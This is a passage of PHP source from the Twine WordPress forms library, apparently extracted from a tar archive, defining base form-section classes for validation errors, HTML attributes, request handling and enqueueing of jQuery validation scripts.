* And the Model_Form_Section takes care of taking a model object and producing a generic form section,
* and takes a filled form section, and can save the model object to the database.
* Note there are actually two children of FormSectionValidatable: FormSectionProper and FormInputBase.
* The former is what you probably expected FormSectionValidatable to be, whereas the latter is the parent class
* for all fields within a form section. So this means that a Form Input is considered a subsection of form section in
* its own right.
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
* ------------------------------------------------------------------------
*/
abstract class FormSectionValidatable extends FormSectionBase
{
/**
* Array of validation errors in this section. Does not contain validation errors in subsections, however.
* Those are stored individually on each subsection.
*
* @var ValidationError[]
*/
protected $validation_errors = array();
/**
* Errors on this form section. Note: FormSectionProper
* has another function for getting all errors in this form section and subsections
* called get_validation_errors_accumulated
*
* @return ValidationError[]
*/
public function getValidationErrors()
{
return $this->validation_errors;
}
/**
* Returns a comma-separated list of all the validation errors in it.
* If we want this to be customizable, we may decide to create a strategy for displaying it
*
* @return string
*/
public function getValidationErrorString()
{
$validation_error_messages = array();
if ($this->getValidationErrors()) {
foreach ($this->getValidationErrors() as $validation_error) {
if ($validation_error instanceof ValidationError) {
$validation_error_messages[] = $validation_error->getMessage();
}
}
}
return implode(', ', $validation_error_messages);
}
/**
* Performs validation on this form section (and subsections). Should be called after _normalize()
*
* @return boolean of whether or not the form section is valid
*/
abstract protected function validate();
/**
* Checks if this field has any validation errors
*
* @return boolean
*/
public function isValid()
{
if (count($this->validation_errors)) {
return false;
} else {
return true;
}
}
/**
* Sanitizes input for this form section
*
* @param array $req_data is the full request data like $_POST
* @return boolean of whether a normalization error occurred
*/
abstract protected function normalize($req_data);
/**
* Creates a validation error from the arguments provided, and adds it to the form section's list.
* If such an ValidationError object is passed in as the first arg, simply sets this as its form section, and
* adds it to the list of validation errors of errors
*
* @param mixed $message_or_object internationalized string describing the validation error; or it could be a
* proper ValidationError object
* @param string $error_code a short key which can be used to uniquely identify the error
* @param Exception $previous_exception if there was an exception that caused the error, that exception
* @return void
*/
public function addValidationError($message_or_object, $error_code = null, $previous_exception = null)
{
if ($message_or_object instanceof ValidationError) {
$validation_error = $message_or_object;
$validation_error->setFormSection($this);
} else {
$validation_error = new ValidationError($message_or_object, $error_code, $this, $previous_exception);
}
$this->validation_errors[] = $validation_error;
}
/**
* When generating the JS for the jquery validation rules like<br>
* <code>$( "#myform" ).validate({
* rules: {
* password: "required",
* password_again: {
* equalTo: "#password"
* }
* }
* });</code>
* gets the sections like
* <br><code>password: "required",
* password_again: {
* equalTo: "#password"
* }</code>
* except we leave it as a PHP object, and leave wp_localize_script to
* turn it into a JSON object which can be used by the js
*
* @return array
*/
abstract public function getJqueryValdationRules();
/**
* Checks if this form section's data is present in the req data specified
*
* @param array $req_data usually $_POST, if null that's what's used
* @return boolean
*/
abstract public function formDataPresentIn($req_data = null);
}
Twine/forms/base/FormSectionHtml.php 0000644 00000001441 14666776752 0013512 0 ustar 00 <?php
namespace Twine\forms\base;
/**
* FormSectionHtml
* HTML to be laid out like a proper subsection
*
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
* ------------------------------------------------------------------------
*/
class FormSectionHtml extends FormSectionBase
{
/**
* @var string
*/
protected $html = '';
/**
* @param string $html
* @param array $options_array
*/
public function __construct($html = '', $options_array = array())
{
$this->html = $html;
parent::__construct($options_array);
}
/**
* Returns the HTML
* @return string
*/
public function getHtml()
{
return $this->html;
}
}
// End of file FormSectionHtml.php
Twine/forms/base/FormSectionBase.php 0000644 00000031531 14666776752 0013463 0 ustar 00 <?php // phpcs:disable PSR1.Files.SideEffects.FoundWithSymbols
namespace Twine\forms\base;
use Exception;
use Twine\forms\helpers\ImproperUsageException;
if (! defined('TWINE_SCRIPTS_URL')) {
if (! defined('TWINE_MAIN_FILE')) {
throw new Exception(
__(
'In order to use Twine forms, you need to define TWINE_MAIN_FILE to be the main file of your plugin, then put Twine folder inside wp-content/plugins/yourplugin/src/Twine',
'twine'
)
);
}
$plugin_base_path = dirname(TWINE_MAIN_FILE);
$plugin_url = plugin_dir_url(TWINE_MAIN_FILE);
// Twine constants
define('TWINE_SCRIPTS_URL', $plugin_url . 'src/Twine/assets/scripts/');
define('TWINE_STYLES_URL', $plugin_url . 'src/Twine/assets/styles/');
define('TWINE_SCRIPTS_DIR', $plugin_base_path . '/src/Twine/assets/scripts/');
define('TWINE_STYLES_DIR', $plugin_base_path . '/src/Twine/assets/styles/');
}
// phpcs:enable PSR1.Files.SideEffects.FoundWithSymbols
/**
* FormSectionBase
* For shared functionality between form sections that are for display-only, and
* sections for receiving form input etc.
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
abstract class FormSectionBase
{
/**
* The html_id and html_name are derived from this by default
*
* @var string
*/
protected $name;
/**
* $_html_id
* @var string
*/
protected $html_id;
/**
* $_html_class
* @var string
*/
protected $html_class;
/**
* $_html_style
* @var string
*/
protected $html_style;
/**
* $_other_html_attributes keys are attribute names, values are their values.
* @var array
*/
protected $other_html_attributes = array();
/**
* The form section of which this form section is a part
*
* @var FormSection
*/
protected $parent_section;
/**
* Flag indicating that _construct_finalize has been called.
* If it has not been called and we try to use functions which require it, we call it
* with no parameters. But normally, _construct_finalize should be called by the instantiating class
*
* @var boolean
*/
protected $construction_finalized;
/**
* Callable which gets called when scripts and styles are enqueued
* @var null|callable
*/
protected $enqueue_scripts_callback = null;
/**
* @param array $options_array {
* @type $name string the name for this form section, if you want to explicitly define it
* @type $other_html_attributes array of other HTML attributes (keys can either be the name of attributes, or numeric)
* }
* You can also set any property of this class using the $options_array.
* Eg, there is a property enqueue_scripts_callback, which is a callback for enqueueing scripts. To use it,
* pass an $options_array like this:
* [
* 'enequeue_scripts_callback' => function(){
* // enqueue scripts needed by this form
* ...
* }
* ]
* @throws Exception
*/
public function __construct($options_array = array())
{
// used by display strategies
// assign incoming values to properties
foreach ($options_array as $key => $value) {
if (property_exists($this, $key) && empty($this->{$key})) {
$this->{$key} = $value;
if ($key === 'subsections' && ! is_array($value)) {
throw new Exception('Subsections was not an array');
}
}
}
}
/**
* The other half of preparing this object for use, but best done if called by the parent form section which knows
* what name it wants to call this object.
* @param FormSection $parent_form_section
* @param string $name
* @throws \Error
*/
protected function constructFinalize($parent_form_section, $name)
{
$this->construction_finalized = true;
$this->parent_section = $parent_form_section;
if ($name !== null) {
$this->name = $name;
}
}
/**
* Make sure construction finalized was called, otherwise children might not be ready
*
* @return void
* @throws \Error
*/
public function ensureConstructFinalizedCalled()
{
if (! $this->construction_finalized) {
$this->constructFinalize($this->parent_section, $this->name);
}
}
/**
* Sets the html_id to its default value, if none was specified in the constructor.
* Calculation involves using the name and the parent's html id
* return void
*
* @throws \Error
*/
protected function setDefaultHtmlIdIfEmpty()
{
if (! $this->html_id) {
if ($this->parent_section && $this->parent_section instanceof FormSection) {
$this->html_id = $this->parent_section->htmlId()
. '-'
. $this->prepNameForHtmlId($this->name());
} else {
$this->html_id = $this->prepNameForHtmlId($this->name());
}
}
}
/**
* Prepares the name to be an html ID
*
* @param string $name
* @return string
*/
private function prepNameForHtmlId($name)
{
return sanitize_key(str_replace(array(' ', ' ', '_'), '-', $name));
}
/**
* Returns the HTML, JS, and CSS necessary to display this form section on a page.
* Note however, it's recommended that you instead call enqueue_js on the "wp_enqueue_scripts" action,
* and call get_html when you want to output the html. Calling getHtmlAndJs after
* "wp_enqueue_scripts" has already fired seems to work for now, but is contrary
* to the instructions on https://developer.wordpress.org/reference/functions/wp_enqueue_script/
* and so might stop working anytime.
*
* @return string
*/
public function getHtmlAndJs()
{
return $this->getHtml();
}
/**
* Gets the HTML for displaying this form section
*
* @return string
*/
abstract public function getHtml();
/**
* @param bool $add_pound_sign
* @return string
* @throws ImproperUsageException
*/
public function htmlId($add_pound_sign = false)
{
$this->setDefaultHtmlIdIfEmpty();
return $add_pound_sign ? '#' . $this->html_id : $this->html_id;
}
/**
* @return string
*/
public function htmlClass()
{
return $this->html_class;
}
/**
* @return string
*/
public function htmlStyle()
{
return $this->html_style;
}
/**
* @param mixed $html_class
*/
public function setHtmlClass($html_class)
{
$this->html_class = $html_class;
}
/**
* @param mixed $html_id
*/
public function setHtmlId($html_id)
{
$this->html_id = $html_id;
}
/**
* @param mixed $html_style
*/
public function setHtmlStyle($html_style)
{
$this->html_style = $html_style;
}
/**
* Sets any other HTML attributes desired.
* @param array $other_html_attributes
* @throws ImproperUsageException
*/
public function setOtherHtmlAttributes($other_html_attributes)
{
if (! is_array($other_html_attributes)) {
throw new ImproperUsageException(
// only developers should ever see this, so it doesn't need to be translated.
get_class($this) . '::set_other_html_attribues should be passed in an array, not a string'
);
}
$this->other_html_attributes = (array)$other_html_attributes;
}
/**
* Adds any HTML attribute needed.
* @param string $name
* @param string $value optional. Leave blank for standalone attributes like "checked"
*/
public function addOtherHtmlAttribute($name, $value = null)
{
if ($value === null) {
$this->other_html_attributes[] = $name;
} else {
$this->other_html_attributes[$name] = $value;
}
}
/**
* Removes the HTML attribute by its attribute name.
* @param string $name
*/
public function removeOtherHtmlAttribute($name)
{
unset($this->other_html_attributes[$name]);
}
/**
* @return array keys are attribute names, values are their values
*/
public function otherHtmlAttributes()
{
return $this->other_html_attributes;
}
/**
* Gets a string of html attributes
* @return string
*/
public function otherHtmlAttributesString()
{
$keyvaluepairs = [];
foreach ($this->otherHtmlAttributes() as $key => $value) {
if (is_numeric($key)) {
$keyvaluepairs[] = esc_attr($value);
} else {
$keyvaluepairs[] = $key . '="' . esc_attr($value) . '"';
}
}
return ' ' . implode(' ', $keyvaluepairs);
}
/**
* Gets the name of the form section. This is not the same as the HTML name.
*
* @throws ImproperUsageException
* @return string
*/
public function name()
{
if (! $this->construction_finalized) {
throw new ImproperUsageException(
sprintf(
// Intended for developers. Translation unnecessary.
'You cannot use the form section\s name until constructFinalize has been called on it (when we set the name). It was called on a form section of type \'%s\'',
get_class($this)
)
);
}
return $this->name;
}
/**
* Gets the parent section
*
* @return FormSection
*/
public function parentSection()
{
return $this->parent_section;
}
/**
* Enqueues JS (and CSS) for the form (ie immediately call wp_enqueue_script and
* wp_enqueue_style; the scripts could have optionally been registered earlier)
* Default does nothing, but child classes can override
*
* @return void
*/
public function enqueueJs()
{
// defaults to enqueue NO js or css
if (is_callable($this->enqueue_scripts_callback)) {
call_user_func($this->enqueue_scripts_callback);
}
}
/**
* Adds any extra data needed by js. Eventually we'll call wp_localize_script
* with it, and it will be on each form section's 'other_data' property.
* By default nothing is added, but child classes can extend this method to add something.
* Eg, if you have an input that will cause a modal dialog to appear,
* here you could add an entry like 'modal_dialog_inputs' to this array
* to map between the input's html ID and the modal dialogue's ID, so that
* your JS code will know where to find the modal dialog when the input is pressed.
* Eg $form_other_js_data['modal_dialog_inputs']['some-input-id']='modal-dialog-id';
*
* @param array $form_other_js_data
* @return array
*/
public function getOtherJsData($form_other_js_data = array())
{
return $form_other_js_data;
}
/**
* This isn't just the name of an input, it's a path pointing to an input. The
* path is similar to a folder path: slash (/) means to descend into a subsection,
* dot-dot-slash (../) means to ascend into the parent section.
* After a series of slashes and dot-dot-slashes, there should be the name of an input,
* which will be returned.
* Eg, if you want the related input to be conditional on a sibling input name 'foobar'
* just use 'foobar'. If you want it to be conditional on an aunt/uncle input name
* 'baz', use '../baz'. If you want it to be conditional on a cousin input,
* the child of 'baz_section' named 'baz_child', use '../baz_section/baz_child'.
* Etc
*
* @param string|false $form_section_path we accept false also because substr( '../', '../' ) = false
*
* @return FormSectionBase
*/
public function findSectionFromPath($form_section_path)
{
if (strpos($form_section_path, '/') === 0) {
$form_section_path = substr($form_section_path, strlen('/'));
}
if (empty($form_section_path)) {
return $this;
}
if (strpos($form_section_path, '../') === 0) {
$parent = $this->parentSection();
$form_section_path = substr($form_section_path, strlen('../'));
if ($parent instanceof FormSectionBase) {
return $parent->findSectionFromPath($form_section_path);
}
if (empty($form_section_path)) {
return $this;
}
}
// couldn't find it using simple parent following
return null;
}
}
// End of file FormSectionBase.php
Twine/forms/base/FormSection.php 0000644 00000165076 14666776752 0012704 0 ustar 00 <?php
namespace Twine\forms\base;
use InvalidArgumentException;
use Twine\forms\helpers\ImproperUsageException;
use Twine\forms\helpers\ValidationError;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\strategies\display\HiddenDisplay;
use Twine\forms\strategies\layout\AdminTwoColumnLayout;
use Twine\forms\strategies\layout\FormSectionLayoutBase;
use Twine\forms\strategies\layout\TwoColumnLayout;
use Twine\helpers\Array2;
/**
* For containing info about a non-field form section, which contains other form sections/fields.
* Relies heavily on the script form_section_validation.js for client-side validation, mostly
* the php code just provides form_section_validation.js with teh variables to use.
* Important: in order for the JS to be loaded properly, you must construct a form section
* before the hook wp_enqueue_scripts is called (so that the form section can enqueue its needed scripts).
* However, you may output the form (usually by calling get_html) anywhere you like.
*/
class FormSection extends FormSectionValidatable
{
/**
* String constant for the session key used to store form data.
*/
const SUBMITTED_FORM_DATA_SSN_KEY = 'submitted_form_data';
/**
* Subsections
*
* @var FormSectionValidatable[]
*/
protected $subsections = array();
/**
* Strategy for laying out the form
*
* @var FormSectionLayoutBase
*/
protected $layout_strategy;
/**
* Whether or not this form has received and validated a form submission yet
*
* @var boolean
*/
protected $received_submission = false;
/**
* Message displayed to users upon successful form submission
*
* @var string
*/
protected $form_submission_success_message = '';
/**
* Message displayed to users upon unsuccessful form submission
*
* @var string
*/
protected $form_submission_error_message = '';
/**
* @var array like $_REQUEST
*/
protected $cached_request_data;
/**
* Stores whether this form (and its sub-sections) were found to be valid or not.
* Starts off as null, but once the form is validated, it set to either true or false
* @var boolean|null
*/
protected $is_valid;
/**
* Stores all the data that will localized for form validation
*
* @var array
*/
protected static $js_localization = array();
/**
* Whether or not the form's localized validation JS vars have been set
*
* @var boolean $scripts_localized
*/
protected static $scripts_localized = false;
/**
* @var bool
*/
protected $use_nonce = true;
/**
* When constructing a proper form section, calls _construct_finalize on children
* so that they know who their parent is, and what name they've been given.
*
* @param array[] $options_array {
* @type $subsections FormSectionValidatable[] where keys are the section's name
* @type string[] $include numerically-indexed where values are section names to be included,
* and in that order. This is handy if you want
* the subsections to be ordered differently than the default, and if you override
* which fields are shown
* @type string[] $exclude values are subsections to be excluded. This is handy if you want
* to remove certain default subsections (note: if you specify BOTH 'include' AND
* 'exclude', the inclusions will be applied first, and the exclusions will exclude
* items from that list of inclusions)
* @type FormSectionLayoutBase $layout_strategy strategy for laying out the form
* } @see FormSectionValidatable::__construct()
* @type boolean $use_nonce whether or not to use a nonce on this form. Defaults to true.
* @throws ImproperUsageException
*/
public function __construct($options_array = array())
{
$options_array = (array) apply_filters(
'FH_FormSectionProper___construct__options_array',
$options_array,
$this
);
// call parent first, as it may be setting the name
parent::__construct($options_array);
// if they've included subsections in the constructor, add them now
if (isset($options_array['include'])) {
// we are going to make sure we ONLY have those subsections to include
// AND we are going to make sure they're in that specified order
$reordered_subsections = array();
foreach ($options_array['include'] as $input_name) {
if (isset($this->subsections[ $input_name ])) {
$reordered_subsections[ $input_name ] = $this->subsections[ $input_name ];
}
}
$this->subsections = $reordered_subsections;
}
if (isset($options_array['exclude'])) {
$exclude = $options_array['exclude'];
$this->subsections = array_diff_key($this->subsections, array_flip($exclude));
}
if (isset($options_array['layout_strategy'])) {
$this->layout_strategy = $options_array['layout_strategy'];
}
if (! $this->layout_strategy) {
$this->layout_strategy = is_admin() ? new AdminTwoColumnLayout() : new TwoColumnLayout();
}
$this->layout_strategy->constructFinalize($this);
/**
* Gives other plugins a chance to hook in before construct finalize is called.
* The form probably doesn't yet have a parent form section.
* Since 4.9.32, when this action was introduced, this is the best place to add a subsection onto a form,
* assuming you don't care what the form section's name, HTML ID, or HTML name etc are.
* Also see AH_FormSectionProper___construct_finalize__end
*
* @param FormSection $this before __construct is done, but all of its logic,
* except maybe calling _construct_finalize has been done
* @param array $options_array options passed into the constructor
*
*@since 4.9.32
*/
do_action(
'AH_FormInputBase___construct__before_construct_finalize_called',
$this,
$options_array
);
if (isset($options_array['name'])) {
$this->constructFinalize(null, $options_array['name']);
}
}
/**
* @return string
*/
public function htmlClass()
{
return $this->html_class . ' twine-form';
}
/**
* Merges this form with the other one. Recursively calls merge on conflicting proper subsections.
* @param FormSection $other_form
*
* @return FormSection returns this updated form section
* @throws ImproperUsageException
*/
public function merge(FormSection $other_form)
{
foreach ($other_form->subsections(false) as $name => $subsection) {
if ($this->subsectionExists($name)) {
if ($subsection instanceof FormSection) {
$this->getSubsection($name, false)->merge($subsection);
}
// else it's a conflicting input. Leave the original.
} else {
$this->addSubsection($name, $subsection);
}
}
return $this;
}
/**
* Finishes construction given the parent form section and this form section's name
*
* @param FormSection $parent_form_section
* @param string $name
*
* @throws ImproperUsageException
*/
public function constructFinalize($parent_form_section, $name)
{
parent::constructFinalize($parent_form_section, $name);
$this->setDefaultNameIfEmpty();
$this->setDefaultHtmlIdIfEmpty();
foreach ($this->subsections as $subsection_name => $subsection) {
if ($subsection instanceof FormSectionBase) {
$subsection->constructFinalize($this, $subsection_name);
} else {
throw new ImproperUsageException(
sprintf(
// Intended for developers, translation unnecessary.
'Subsection "%s" is not an instanceof FormSectionBase on form "%s". It is a "%s"',
$subsection_name,
get_class($this),
$subsection ? get_class($subsection) : esc_html__('NULL', 'print-my-blog')
)
);
}
}
/**
* Action performed just after form has been given a name (and HTML ID etc) and is fully constructed.
* If you have code that should modify the form and needs it and its subsections to have a name, HTML ID
* (or other attributes derived from the name like the HTML label id, etc), this is where it should be done.
* This might only happen just before displaying the form, or just before it receives form submission data.
* If you need to modify the form or its subsections before _construct_finalize is called on it (and we've
* ensured it has a name, HTML IDs, etc
*
* @param FormSection $this
* @param FormSection|null $parent_form_section
* @param string $name
*/
do_action(
'AH_FormSectionProper___construct_finalize__end',
$this,
$parent_form_section,
$name
);
}
/**
* Gets the layout strategy for this form section
*
* @return FormSectionLayoutBase
*/
public function getLayoutStrategy()
{
return $this->layout_strategy;
}
/**
* Gets the HTML for a single input for this form section according
* to the layout strategy
*
* @param FormInputBase $input
* @return string
*/
public function getHtmlForInput($input)
{
return $this->layout_strategy->layoutInput($input);
}
/**
* Checks if form inputs are present in request data
* Basically an alias for form_data_present_in() (which is used by both
* proper form sections and form inputs)
*
* @param null $form_data
* @return boolean
*/
public function wasSubmitted($form_data = null)
{
return $this->formDataPresentIn($form_data);
}
/**
* Gets the cached request data; but if there is none, or $req_data was set with
* something different, refresh the cache, and then return it
* @param null $req_data
* @return array
*/
protected function getCachedRequest($req_data = null)
{
if (
$this->cached_request_data === null
|| (
$req_data !== null
&& $req_data !== $this->cached_request_data
)
) {
$req_data = apply_filters(
'FH_FormSectionProper__receive_form_submission__req_data',
$req_data,
$this
);
if ($req_data === null) {
// Nonce verification decision made by client code before processing the form.
// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing
$req_data = array_merge($_GET, $_POST);
}
$req_data = apply_filters(
'FH_FormSectionProper__receive_form_submission__request_data',
$req_data,
$this
);
$this->cached_request_data = (array) $req_data;
}
return $this->cached_request_data;
}
/**
* After the form section is initially created, call this to sanitize the data in the submission
* which relates to this form section, validate it, and set it as properties on the form.
*
* @param array|null $req_data should usually be $_POST (the default).
* However, you CAN supply a different array.
* Consider using set_defaults() instead however.
* (If you rendered the form in the page using echo $form_x->get_html()
* the inputs will have the correct name in the request data for this function
* to find them and populate the form with them.
* If you have a flat form (with only input subsections),
* you can supply a flat array where keys
* are the form input names and values are their values)
* @param boolean $validate whether or not to perform validation on this data. Default is,
* of course, to validate that data, and set errors on the invalid values.
* But if the data has already been validated
* (eg you validated the data then stored it in the DB)
* you may want to skip this step.
* @throws InvalidArgumentException
* @throws ImproperUsageException
*/
public function receiveFormSubmission($req_data = null, $validate = true)
{
$req_data = $this->getCachedRequest($req_data);
$this->normalize($req_data);
if ($validate) {
$this->validate();
}
if ($this->submissionErrorMessage() === '' && ! $this->isValid()) {
$this->setSubmissionErrorMessage();
}
do_action(
'AH_FormSectionProper__receive_form_submission__end',
$req_data,
$this,
$validate
);
}
/**
* Populates the default data for the form, given an array where keys are
* the input names, and values are their values (preferably normalized to be their
* proper PHP types, not all strings... although that should be ok too).
* Proper subsections are sub-arrays, the key being the subsection's name, and
* the value being an array formatted in teh same way
*
* @param array $default_data
* @throws ImproperUsageException
*/
public function populateDefaults($default_data)
{
foreach ($this->subsections(false) as $subsection_name => $subsection) {
if (isset($default_data[ $subsection_name ])) {
if ($subsection instanceof FormInputBase) {
$subsection->setDefault($default_data[ $subsection_name ]);
} elseif ($subsection instanceof FormSection) {
$subsection->populateDefaults($default_data[ $subsection_name ]);
}
} else {
// maybe the defaults are for form inputs only? try that
if ($subsection instanceof FormSection) {
$subsection->populateDefaults($default_data);
}
}
}
}
/**
* Recursively searches through the form for an input with the specified name.
* @param string $input_name
*
* @return FormSectionValidatable|null
*/
public function findSection($input_name)
{
foreach ($this->inputs() as $subsection_name => $subsection_obj) {
if ($subsection_name === $input_name) {
return $subsection_obj;
}
}
// now let's look through all the sub-sections
foreach ($this->subforms() as $form) {
$subsection_found = $form->findSection($input_name);
if ($subsection_found !== null) {
return $subsection_found;
}
}
return null;
}
/**
* Returns true if subsection exists
*
* @param string $name
* @return boolean
*/
public function subsectionExists($name)
{
return isset($this->subsections[ $name ]) ? true : false;
}
/**
* Gets the subsection specified by its name
*
* @param string $name
* @param boolean $require_construction_to_be_finalized most client code should leave this as TRUE
* so that the inputs will be properly configured.
* However, some client code may be ok
* with construction finalize being called later
* (realizing that the subsections' html names
* might not be set yet, etc.)
* @return FormSectionBase|null
* @throws ImproperUsageException
*/
public function getSubsection($name, $require_construction_to_be_finalized = true)
{
if ($require_construction_to_be_finalized) {
$this->ensureConstructFinalizedCalled();
}
return $this->subsectionExists($name) ? $this->subsections[ $name ] : null;
}
/**
* Gets all the validatable subsections of this form section
*
* @return FormSectionValidatable[]
* @throws ImproperUsageException
*/
public function getValidatableSubsections()
{
$validatable_subsections = array();
foreach ($this->subsections() as $name => $obj) {
if ($obj instanceof FormSectionValidatable) {
$validatable_subsections[ $name ] = $obj;
}
}
return $validatable_subsections;
}
/**
* Gets an input by the given name. If not found, or if its not an FOrm_Input_Base child,
* throw an Error.
*
* @param string $name
* @param boolean $require_construction_to_be_finalized most client code should
* leave this as TRUE so that the inputs will be properly
* configured. However, some client code may be ok with
* construction finalize being called later
* (realizing that the subsections' html names might not be
* set yet, etc.)
* @return FormInputBase
* @throws ImproperUsageException
*/
public function getInput($name, $require_construction_to_be_finalized = true)
{
$subsection = $this->getSubsection(
$name,
$require_construction_to_be_finalized
);
if (! $subsection instanceof FormInputBase) {
throw new ImproperUsageException(
sprintf(
// Intended for developers, translations unnecessary.
"Subsection '%s' is not an instanceof FormInputBase on form '%s'. It is a '%s'",
$name,
get_class($this),
$subsection ? get_class($subsection) : esc_html__('NULL', 'print-my-blog')
)
);
}
return $subsection;
}
/**
* Like get_input(), gets the proper subsection of the form given the name,
* otherwise throws an Error
*
* @param string $name
* @param boolean $require_construction_to_be_finalized most client code should
* leave this as TRUE so that the inputs will be properly
* configured. However, some client code may be ok with
* construction finalize being called later
* (realizing that the subsections' html names might not be
* set yet, etc.)
*
* @return FormSection
* @throws ImproperUsageException
*/
public function getProperSubsection($name, $require_construction_to_be_finalized = true)
{
$subsection = $this->getSubsection(
$name,
$require_construction_to_be_finalized
);
if (! $subsection instanceof FormSection) {
throw new ImproperUsageException(
sprintf(
// Intended for developers, translations unnecessary.
"Subsection '%s' is not an instanceof FormSectionProper on form '%s'",
$name,
get_class($this)
)
);
}
return $subsection;
}
/**
* Gets the value of the specified input. Should be called after receive_form_submission()
* or populate_defaults() on the form, where the normalized value on the input is set.
*
* @param string $name
* @return mixed depending on the input's type and its normalization strategy
* @throws ImproperUsageException
*/
public function getInputValue($name)
{
$input = $this->getInput($name);
return $input->normalizedValue();
}
/**
* Checks if this form section itself is valid, and then checks its subsections
*
* @throws ImproperUsageException
* @return boolean
*/
public function isValid()
{
if ($this->is_valid === null) {
if (! $this->hasHeceivedSubmission()) {
throw new ImproperUsageException(
// intended for developers, translation unnecessary.
'You cannot check if a form is valid before receiving the form submission using receive_form_submission'
);
}
if (! parent::isValid()) {
$this->is_valid = false;
} else {
// ok so no general errors to this entire form section.
// so let's check the subsections, but only set errors if that hasn't been done yet
$this->is_valid = true;
foreach ($this->getValidatableSubsections() as $subsection) {
if (! $subsection->isValid()) {
$this->is_valid = false;
}
}
}
}
return $this->is_valid;
}
/**
* Gets the default name of this form section if none is specified
*
* @return void
*/
protected function setDefaultNameIfEmpty()
{
if (! $this->name) {
$classname = get_class($this);
$default_name = str_replace('', '', $classname);
$this->name = $default_name;
}
}
/**
* Returns the HTML for the form, except for the form opening and closing tags
* (as the form section doesn't know where you necessarily want to send the information to),
* and except for a submit button. Enqueues JS and CSS; if called early enough we will
* try to enqueue them in the header, otherwise they'll be enqueued in the footer.
* Not doing_it_wrong because theoretically this CAN be used properly,
* provided its used during "wp_enqueue_scripts", or it doesn't need to enqueue
* any CSS.
*
* @throws InvalidArgumentException
* @throws ImproperUsageException
*/
public function getHtmlAndJs()
{
$this->enqueueJs();
return $this->getHtml();
}
/**
* Returns HTML for displaying this form section. recursively calls display_section() on all subsections
*
* @return string
* @throws InvalidArgumentException
* @throws ImproperUsageException
*/
public function getHtml()
{
$this->ensureConstructFinalizedCalled();
return $this->layout_strategy->layoutForm();
}
/**
* Enqueues JS and CSS for the form.
* It is preferred to call this before wp_enqueue_scripts so the
* scripts and styles can be put in the header, but if called later
* they will be put in the footer (which is OK for JS, but in HTML4 CSS should
* only be in the header; but in HTML5 its ok in the body.
* See http://stackoverflow.com/questions/4957446/load-external-css-file-in-body-tag.
* So if your form enqueues CSS, it's preferred to call this before wp_enqueue_scripts.)
*
* @return void
* @throws ImproperUsageException
*/
public function enqueueJs()
{
// ok so we are definitely going to want the forms JS,
// so enqueue it or remember to enqueue it during wp_enqueue_scripts
if (did_action('wp_enqueue_scripts') || did_action('admin_enqueue_scripts')) {
// ok so they've constructed this object after when they should have.
// just enqueue the generic form scripts and initialize the form immediately in the JS
self::wpEnqueueScripts(true);
} else {
add_action('wp_enqueue_scripts', array('Twine\forms\base\FormSection', 'wpEnqueueScripts'));
add_action('admin_enqueue_scripts', array('Twine\forms\base\FormSection', 'wpEnqueueScripts'));
}
add_action('wp_footer', array($this, 'ensureScriptsLocalized'), 1);
$this->enqueueAndLocalizeFormJs();
foreach ($this->subsections() as $subsection) {
$subsection->enqueueJs();
}
parent::enqueueJs();
}
/**
* Adds a filter so that jquery validate gets enqueued in System::wp_enqueue_scripts().
* This must be done BEFORE wp_enqueue_scripts() gets called, which is on
* the wp_enqueue_scripts hook.
* However, registering the form js and localizing it can happen when we
* actually output the form (which is preferred, seeing how teh form's fields
* could change until it's actually outputted)
*
* @param boolean $init_form_validation_automatically whether or not we want the form validation
* to be triggered automatically or not
* @return void
*/
public static function wpEnqueueScripts($init_form_validation_automatically = true)
{
wp_register_script(
'twine-jquery-validate',
TWINE_SCRIPTS_URL . '/jquery.validate.min.js',
array('jquery'),
filemtime(TWINE_SCRIPTS_DIR . 'jquery.validate.min.js')
);
wp_register_script(
'twine-jquery-validate-additional-methods',
TWINE_SCRIPTS_URL . '/jquery.validate.additional-methods.min.js',
array('jquery'),
filemtime(TWINE_SCRIPTS_DIR . 'jquery.validate.additional-methods.min.js')
);
wp_enqueue_script(
'twine_form_section_validation',
TWINE_SCRIPTS_URL . '/form_section_validation.js',
array('twine-jquery-validate', 'jquery-ui-datepicker', 'twine-jquery-validate-additional-methods'),
filemtime(TWINE_SCRIPTS_DIR . 'form_section_validation.js'),
true
);
wp_localize_script(
'twine_form_section_validation',
'twine_form_section_validation_init',
array('init' => $init_form_validation_automatically ? '1' : '0')
);
wp_enqueue_style(
'twine-jquery-ui',
TWINE_STYLES_URL . '/jquery-ui-1.10.3.custom.css',
[],
filemtime(TWINE_STYLES_DIR . 'jquery-ui-1.10.3.custom.css')
);
}
/**
* Gets the variables used by form_section_validation.js.
* This needs to be called AFTER we've called $this->_enqueue_jquery_validate_script,
* but before the WordPress hook wp_loaded
*/
public function enqueueAndLocalizeFormJs()
{
$this->ensureConstructFinalizedCalled();
wp_enqueue_style(
'twine-forms',
TWINE_STYLES_URL . 'forms.css',
[],
filemtime(TWINE_STYLES_DIR . 'forms.css')
);
// actually, we don't want to localize just yet. There may be other forms on the page.
// so we need to add our form section data to a static variable accessible by all form sections
// and localize it just before the footer
$this->localizeValidationRules();
add_action('wp_footer', array('Twine\forms\base\FormSection', 'localizeScriptForAllForms'), 2);
add_action('admin_footer', array('Twine\forms\base\FormSection', 'localizeScriptForAllForms'));
}
/**
* Add our form section data to a static variable accessible by all form sections
*
* @param bool $return_for_subsection
* @return void
*/
public function localizeValidationRules($return_for_subsection = false)
{
// we only want to localize vars ONCE for the entire form,
// so if the form section doesn't have a parent, then it must be the top dog
if ($return_for_subsection || ! $this->parentSection()) {
self::$js_localization['form_data'][ $this->htmlId() ] = array(
'form_section_id' => $this->htmlId(true),
'validation_rules' => $this->getJqueryValdationRules(),
'other_data' => $this->getOtherJsData(),
'errors' => $this->subsectionValidationErrorsByHtmlName(),
);
self::$scripts_localized = true;
}
}
/**
* Gets an array of extra data that will be useful for client-side javascript.
* This is primarily data added by inputs and forms in addition to any
* scripts they might enqueue
*
* @param array $form_other_js_data
* @return array
*/
public function getOtherJsData($form_other_js_data = array())
{
foreach ($this->subsections() as $subsection) {
$form_other_js_data = $subsection->getOtherJsData($form_other_js_data);
}
return $form_other_js_data;
}
/**
* Gets a flat array of inputs for this form section and its subsections.
* Keys are their form input names, and values are the inputs themselves
* @param string $name_using 'html_name' (default, guarantees uniqueness), or 'name' (which can conflict with other subsection names)
* @return FormInputBase[]
*/
